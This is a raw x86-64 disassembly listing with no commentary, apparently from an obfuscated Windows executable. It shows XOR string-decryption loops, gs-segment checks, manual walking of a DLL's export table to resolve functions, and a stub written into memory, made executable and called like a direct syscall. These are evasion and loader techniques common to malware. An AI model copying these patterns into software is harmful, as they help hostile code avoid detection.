mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022d19
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022d19
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022d39
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
movdqa xmm0, xmmword [0x1400d3bb0]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rbx, 0x1a6340e62
movabs r9, 0x1a6340e630
lea r10d, [rax + 0x10]
movabs r11, 0x34c681cc60
movabs r15, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
inc r8
add r9, r13
add r10, 0x10
cmp r9, r11
jb 0x140022d80
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.14001c980
mov rax, qword gs:[0x23]
cmp rax, rsi
movabs rbx, 0x43cd74f94e7736a0
jne 0x140022ea4
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022e84
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022e84
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022ea4
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400928d8
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14002303b
movdqa xmm0, xmmword [0x1400d3da0]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], Ordinal_200
mov r10, r14
movabs r8, 0x1c0974f493
mov r11, r12
movabs rbx, 0x1a6340e62
movabs r9, 0x3812e9e926
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x140022f0e
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400d3db0]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [str.bpyk]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0xf2a6
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r13
add r10, 0x22
movabs rax, 0x7025d3d24c
cmp r9, rax
jb 0x140022fa9
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400928d8
int3
mov rax, qword [rbp + 0xfe8]
mov edi, dword [rax + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x1400e1cf0], r14
jne 0x14002307d
mov ecx, 0x26b0
call fcn.14009719c
test rax, rax
je 0x14002307d
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400e1cf0], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400d3de0]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.14002d0e0
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x1400230bc
mov byte [rbp + 0x7ff], r14b
mov rbx, qword [0x1400e1cf0]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x1400231db
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140023193
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009719c
mov rsi, rax
test rax, rax
je 0x1400231d8
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400e1cf0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b5390
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b5a30
mov rcx, rdi
call fcn.140097078
mov qword [0x1400e1cf0], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.14002cff8
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x1400231fc
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x1400e1cf0]
test rbx, rbx
je 0x140023306
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400232c0
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009719c
mov rsi, rax
test rax, rax
je 0x140023303
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400e1cf0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b5390
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b5a30
mov rcx, rdi
call fcn.140097078
mov qword [0x1400e1cf0], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140023535
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140023535
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140023535
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140023535
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140023535
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002339a
inc rax
test edi, edi
jne 0x140023385
test r8d, r8d
je 0x1400233ac
inc rdx
cmp rdx, rsi
jb 0x140023374
jmp 0x140023535
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140023535
mov r14d, dword [rdx + 4]
xor r15d, r15d
test r14d, r14d
jns 0x1400233d1
mov r14d, r15d
jmp 0x140023535
mov r9d, 4
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.14008b910
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.14002dbbc
lea rcx, [rbp + 0x87b0]
call fcn.14002d154
mov ebx, eax
movabs rax, 0xc0906c513cedb3
mul rbx
mov ecx, ebx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rbx, rax
mov rdi, r15
lea rcx, [rbp + 0x87b0]
call fcn.14002d154
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140023448
mov r8, r12
lea rdx, [rbp + 0x466e0]
mov rcx, rsi
call fcn.1400b5390
mov dword [0x1400dfcc4], r14d
lea rdi, [rbx + rsi]
movsd xmm0, qword [0x1400dfcc0]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dfcc8]
mov word [rdi + 8], ax
mov al, byte [0x1400dfcca]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xfc8], r15d
lea r9, [rbp + 0xfc8]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8d, 3
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov r14d, eax
lea r9, [rbp + 0xfc8]
mov r8d, dword [rbp + 0xfc8]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400b5a30
mov edx, listen
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400dfcc4], r15d
mov rdi, qword [0x1400e1cf0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
mov esi, edx
test r15, r15
jle 0x1400235e9
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x1400235d7
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x1400235d7
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14002359c
xor edx, edx
call fcn.1400b5a30
jmp 0x1400235d5
cmp al, 1
jne 0x1400235d7
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.14002d924
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.14002dad8
lea rcx, [rbp + 0x1168]
call fcn.14002da68
lea rcx, [rbp + 0x1168]
call fcn.1400024c8
xor edx, edx
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x140023560
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400b5a30
mov rcx, rdi
call fcn.140097078
xor r15d, r15d
mov qword [0x1400e1cf0], r15
test r14d, r14d
js 0x14002ba5c
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14002ba5c
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.14009719c
test rax, rax
je 0x14002364d
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400e1cf0], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400d3de0]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.14002d0e0
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x140023690
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x1400e1cf0]
test rbx, rbx
je 0x1400237b7
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140023763
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009719c
mov rsi, rax
test rax, rax
je 0x1400237aa
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400e1cf0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b5390
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b5a30
mov rcx, rdi
call fcn.140097078
mov qword [0x1400e1cf0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x1400237ad
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.14002cff8
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x1400237ce
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x1400e1cf0]
test rbx, rbx
je 0x1400238dd
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140023895
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009719c
mov rsi, rax
test rax, rax
je 0x1400238da
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400e1cf0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b5390
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b5a30
mov rcx, rdi
call fcn.140097078
mov qword [0x1400e1cf0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x1400238dd
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002396e
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002396e
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002396e
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002396e
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002396e
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002395d
inc rax
test edi, edi
jne 0x140023948
test r8d, r8d
je 0x1400239e9
inc rdx
cmp rdx, rsi
jb 0x140023937
mov r14d, r15d
mov rdi, qword [0x1400e1cf0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov esi, r13d
test r15, r15
jle 0x140023bb8
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140023ba6
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140023ba6
mov al, byte [rbp + 0xf70]
test al, al
jne 0x140023b6d
xor edx, edx
call fcn.1400b5a30
jmp 0x140023ba6
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002396e
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x14002396e
cmp al, 1
jne 0x140023ba6
mov rdx, rcx
lea rcx, [rbp + 0x1148]
call fcn.14002d924
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.14002dad8
lea rcx, [rbp + 0x1148]
call fcn.14002da68
lea rcx, [rbp + 0x1148]
call fcn.1400024c8
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x14002399e
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400b5a30
mov rcx, rdi
call fcn.140097078
mov qword [0x1400e1cf0], r13
test r14d, r14d
js 0x14002b8c3
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x14002b8c3
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], r15
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r14d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r14
cmp r8d, 8
jb 0x140023c69
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r10b, dil
xor r10b, 0x28
mov ebx, edi
mov ecx, r13d
lea r9, [rbp + 0xf58]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf58]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x140023ce2
movzx ecx, r10b
add ecx, ebx
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r14d
add r8, r14
movsxd rax, r11d
cmp rax, 0x28
jb 0x140023cc4
mov qword [rbp + 0xf58], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], r15
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r14
cmp r8d, 8
jb 0x140023d7e
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x140023df6
movdqa xmm0, xmmword [0x1400d3da0]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], Ordinal_200
mov r10, r13
movabs rbx, 0x1a6340e63
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1c0974f493
movabs r9, 0x3812e9e926
movabs r14, 0x1a6340e62
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002b917
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400d3ad0]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0xc4b204b5
mov dword [rbp + 0x96c], 0xf3f9c151
mov dword [rbp + 0x970], 0x5af0a23e
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
lea r10d, [rax + 0x1c]
movabs r9, 0x2e2db192d4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x958]
xor dil, r8b
mov byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x5c5b6325a8
cmp r9, rax
jb 0x14002b9c2
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400928d8
int3
movdqa xmm0, xmmword [0x1400d3da0]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], Ordinal_200
mov r10, r15
movabs rbx, 0x1a6340e63
movabs rsi, 0x8080808080808081
movabs r8, 0x1c0974f493
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x3812e9e926
movabs r14, 0x1a6340e62
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002bab0
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400d3cf0]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0x63117071
mov word [rbp + 0x754], 0xab
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x22a2452e1f
movabs r10, 0x45448a5c3e
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x740]
xor dil, r9b
mov byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x14002bb54
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400928d8
int3
mov ebx, 0xcae3443f
cmp rax, rbx
jne 0x14002bc8f
mov rax, qword gs:[0x5f]
mov ecx, 0xd969f13c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bc6f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bc6f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bc8f
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400928d8
int3
movdqa xmm0, xmmword [0x1400d3da0]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], Ordinal_200
mov r10, r14
movabs r8, 0x1c0974f493
mov r11, r12
movabs rsi, 0x8080808080808081
movabs r9, 0x3812e9e926
movabs r15, 0x1a6340e62
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x350]
xor dil, r10b
mov byte [rbp + r10 + 0x350], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x14002bcd6
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400d3b70]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0xb59ee66c
mov dword [rbp + 0x82c], 0xe0d46f
mov r8, r14
mov r10d, reloc.WS2_32.dll_socket
movabs r9, 0x25eead4ae5
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x818], dil
inc r8
add r9, r13
